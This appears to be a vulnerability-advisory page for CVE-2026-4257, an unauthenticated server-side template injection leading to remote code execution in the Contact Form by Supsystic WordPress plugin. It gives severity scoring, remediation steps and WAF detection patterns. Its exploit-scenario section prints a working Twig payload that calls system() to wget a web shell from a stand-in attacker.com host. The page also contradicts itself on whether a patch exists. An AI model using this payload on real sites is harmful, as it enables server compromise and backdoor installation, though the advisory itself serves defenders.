Skip to main content

Contact Form By Supsystic EUVDEUVD-2026-17239

| CVE-2026-4257 CRITICAL
Code Injection (CWE-94)
2026-03-30 Wordfence
9.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious GET parameter with Twig expressions
  2. Exploit
    Submit to cfsPreFill form field
  3. Execution
    Twig parser executes arbitrary PHP functions
  4. Impact
    Execute OS commands with web server privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Contact Form by Supsystic WordPress plugin versions up to 1.7.36 must be installed and activated. Attacker sends unauthenticated HTTP GET request with malicious Twig expressions in cfsPreFill parameter. No victim interaction required. Remote unauthenticated exploitation.

Impact

This vulnerability presents critical real-world risk requiring immediate prioritization. The CVSS 9.8 score accurately reflects severity: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and complete impact to confidentiality, integrity, and availability (C:H/I:H/A:H). The unauthenticated RCE attack surface makes this trivially exploitable by remote attackers with basic HTTP knowledge. While EPSS probability is not provided in the input data and no CISA KEV status confirms active exploitation at time of analysis, the technical characteristics suggest high weaponization potential: WordPress plugins have large install bases, the vulnerability requires only crafted GET requests (no complex exploitation chains), and RCE is the most impactful outcome. The availability of a public changeset (patch commit 3491826) and detailed Wordfence threat intelligence increases the likelihood that proof-of-concept exploits will emerge rapidly. Organizations running affected versions face immediate risk of complete server compromise, data exfiltration, malware deployment, and lateral movement. The SSVC framework would classify this as high technical impact (arbitrary code execution), fully automatable (HTTP GET request), and requiring immediate action given the attack vector characteristics.

Exploit ScenarioDerived

An unauthenticated remote attacker identifies a WordPress site running Contact Form by Supsystic version 1.7.36 or earlier through plugin enumeration (wp-content/plugins/contact-form-by-supsystic). The attacker crafts a malicious GET request to the contact form page with a parameter like ?cfsPreFill[field_name]={{_self.env.registerUndefinedFilterCallback('system')|filter|system('wget http://attacker.com/shell.php -O /var/www/html/backdoor.php')}}. When the vulnerable forms.php processes this prefill request, Twig renders the injected expression, registering the system() PHP function as a Twig filter and executing the command to download a web shell. The attacker now has persistent backdoor access with web server privileges, enabling data theft, website defacement, cryptocurrency mining, or pivoting to internal network resources. No public exploit code confirmation at time of analysis, but the simplicity of exploitation (single HTTP GET request) and availability of patch details significantly lower the bar for weaponization.

Emergency Immediate action required. Why: CRITICAL + active threat signals, no patch available.
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 30, 2026

Remote code execution in Contact Form by Supsystic plugin for WordPress (all versions ≤1.7.36) allows unauthenticated attackers to execute arbitrary PHP functions and OS commands via Server-Side Template Injection. Attackers exploit the plugin's unsandboxed Twig template engine by injecting malicious Twig expressions through GET parameters in the cfsPreFill functionality, leveraging registerUndefinedFilterCallback() to register arbitrary PHP callbacks. CVSS 9.8 (Critical) with network-accessible, low-complexity attack vector requiring no authentication. EPSS data not provided, but the combination of unauthenticated RCE in a widely-deployed WordPress plugin represents severe real-world risk. No KEV status confirmed at time of analysis.

RemediationAI

Upstream fix available: WordPress plugin repository changeset 3491826 addresses this vulnerability (https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic). Site administrators must immediately update Contact Form by Supsystic to version 1.7.37 or later through the WordPress admin dashboard (Plugins > Updates) or via WP-CLI. If immediate patching is not feasible, implement temporary workarounds: disable the Contact Form by Supsystic plugin entirely until patched, implement web application firewall (WAF) rules to block requests containing Twig template syntax in GET parameters (filter for patterns like {{, }}, _self.env, registerUndefinedFilterCallback), or restrict plugin access using authentication layers at the web server level. Audit server logs for suspicious GET requests to plugin endpoints containing Twig expressions as potential indicators of compromise. After patching, conduct security review for any unauthorized files, user accounts, or backdoors that may have been installed if exploitation occurred. Monitor Wordfence advisories for additional technical guidance.

Affected VersionsENISA

Contact Form by Supsystic * ≤1.7.36

Affected Packages

euvd contact_form_by_supsystic no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from unsafe implementation of the Twig template engine (specifically Twig_Loader_String) without sandboxing controls in a WordPress contact form plugin (CPE: cpe:2.3:a:supsysticcom:contact_form_by_supsystic). The root cause is CWE-94 (Improper Control of Generation of Code), where user-controlled input from GET parameters flows directly into Twig template rendering. The plugin's cfsPreFill feature, designed to pre-populate form fields, accepts arbitrary GET parameters that are processed as Twig expressions. Attackers can inject Twig syntax like {{_self.env.registerUndefinedFilterCallback('system')}} to register PHP functions (system, exec, shell_exec) as Twig filters, then invoke them to execute OS commands. The vulnerable code path is visible in forms.php line 323 where user input undergoes insufficient sanitization before template rendering. This is a classic SSTI vulnerability where the template engine's intended flexibility becomes an attack vector when user input is not properly isolated from template processing logic.

Know when Contact Form By Supsystic gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

The Contact Form by Supsystic plugin for WordPress is vulnerable to Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in all versions up to, and including, 1.7.36. This is due to the plugin using the Twig Twig_Loader_String template engine without sandboxing, combined with the cfsPreFill prefill functionality that allows unauthenticated users to inject arbitrary Twig expressions into form field values via GET parameters. This makes it possible for unauthenticated attackers to execute arbitrary PHP functions and OS commands on the server by leveraging Twig's registerUndefinedFilterCallback() method to register arbitrary PHP callbacks.

Executive ViewAI

Why It Matters

Contact Form by Supsystic WordPress plugin (versions ≤1.7.36) contains a critical unauthenticated remote code execution vulnerability allowing attackers to execute arbitrary commands on affected websites without authentication. Any organization using this plugin is at severe risk of complete website compromise, data theft, and lateral movement into internal networks, making immediate remediation essential.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Immediately disable the plugin via WordPress admin or WP-CLI; (2) remove plugin files from wp-content/plugins/ directory to prevent reactivation; (3) deploy Web Application Firewall rule to block HTTP requests containing 'cfsPreFill' parameter combined with suspicious characters ({{, }}, |, etc.); (4) restrict plugin administrative access via .htaccess or firewall to known internal IP ranges only; (5) monitor access logs for GET requests to wp-admin containing cfsPreFill parameters.

Threat Intelligence Overview

EPSS Score
0.2%
Top 56% exploitable
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment POC (2) Exploit-DB VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat Yes
Deciding rule
CRITICAL + active threat signals, no patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

84
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: +20
Weaponized: +15
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-115301 HIGH POC
7.2 Oct 29

Stored server-side template injection in the WordPress plugin Contact Form by Supsystic before 1.11.1 lets a WordPress a

CVE-2026-115299 MEDIUM POC
5.4 Oct 29

Cross-site request forgery in the Supsystic Contact Form plugin for WordPress before 1.11.1 lets an attacker overwrite a

CVE-2026-115302 MEDIUM POC
5.3 Oct 29

Unauthenticated deletion of stored form statistics is possible in the Contact Form by Supsystic WordPress plugin before

CVE-2026-115300 MEDIUM POC
4.3 Oct 29

Cross-site request forgery in the WordPress plugin Contact Form by Supsystic before 1.11.1 lets an attacker permanently

CVE-2026-115303 LOW POC
3.7 Oct 29

Email header injection in the Supsystic Contact Form plugin for WordPress (versions before 1.11.1) lets unauthenticated

CVE-2025-15705 LOW POC
3.5 Oct 25

Stored cross-site scripting in the Contact Form by Supsystic WordPress plugin before 1.8.0 lets users with access to the

CVE-2026-115591 HIGH
7.5 Oct 28

Unauthenticated information disclosure in the Supsystic Contact Form WordPress plugin (all versions through 1.10.5) lets

CVE-2026-83625 HIGH
7.2 Sep 05

Stored cross-site scripting in the Contact Form by Supsystic WordPress plugin (all versions ≤1.10.2) allows unauthentica

CVE-2026-73378 HIGH
7.1 Aug 18

Unauthenticated cross-site scripting in Contact Form by Supsystic WordPress plugin (all versions before 1.10.0) allows a

CVE-2026-73379 MEDIUM
6.5 Aug 18

Unauthenticated authentication bypass in the Contact Form by Supsystic WordPress plugin (versions before 1.10.0) exposes

CVE-2026-115595 MEDIUM
5.3 Oct 26

Missing authorization (CWE-862) in the WordPress plugin Contact Form by Supsystic, affecting all versions through 1.10.7

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy